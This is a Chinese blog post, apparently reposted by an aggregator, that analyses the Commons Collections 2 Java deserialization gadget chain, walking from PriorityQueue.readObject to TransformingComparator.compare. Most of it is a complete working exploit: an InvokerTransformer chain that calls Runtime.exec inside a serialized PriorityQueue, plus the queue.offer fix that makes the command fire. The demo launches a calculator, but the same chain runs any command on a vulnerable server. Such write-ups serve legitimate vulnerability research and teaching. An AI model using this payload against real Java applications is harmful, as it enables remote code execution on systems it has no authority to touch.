[Java反序列化]Java-CommonsCollections2利用链分析

Posted Y4tacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Java反序列化]Java-CommonsCollections2利用链分析相关的知识,希望对你有一定的参考价值。

Java-CommonsCollections2利用链分析

简单来说CC2就是从 SerializablereadObject()⽅法到 Transformertransform()⽅法的调⽤链

看一看具体流程,SerializablereadObject()⽅法调用heapify方法
调用siftDown方法

调用siftDownUsingComparator方法

最后到了TransformingComparator下的compare方法

所以我们只需要把ChainedTransformer对象传入TransformingComparator的构造方法即可,这个链子一点都不难

知道了大概流程以后现在具体来扣下细节,首先我们按照这个思路编写payload

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
       new ConstantTransformer(Runtime.class),
       new InvokerTransformer("getMethod", new Class[] { String.class,
               Class[].class }, new Object[] { "getRuntime",
               new Class[0] }),
       new InvokerTransformer("invoke", new Class[] { Object.class,
               Object[].class }, new Object[] { null, new Object[0] }),
       new InvokerTransformer("exec", new Class[] { String.class },
               new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Comparator comparator = new TransformingComparator(transformerChain);

PriorityQueue queue = new PriorityQueue(2, comparator);

setFieldValue(transformerChain, "iTransformers", transformers);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();

发现并没有弹出计算器,我们来看看为什么,可以发现此时size0,我们要保证这个size右移动一位-1大于等于0,其实直接设置为我们的初始化大小即可,这里是2

那什么操作可以让这个size增加呢,可以看见offer函数里面实现了

因此我们只需要再加上两行代码即可

queue.offer(1);
queue.offer(1);

成功执行计算器

以上是关于[Java反序列化]Java-CommonsCollections2利用链分析的主要内容,如果未能解决你的问题,请参考以下文章

什么是java的序列化和反序列化?

Java序列化与反序列化

Java序列化与反序列化

Java序列化与反序列化

java 对象序列化与反序列化

Java序列化与反序列化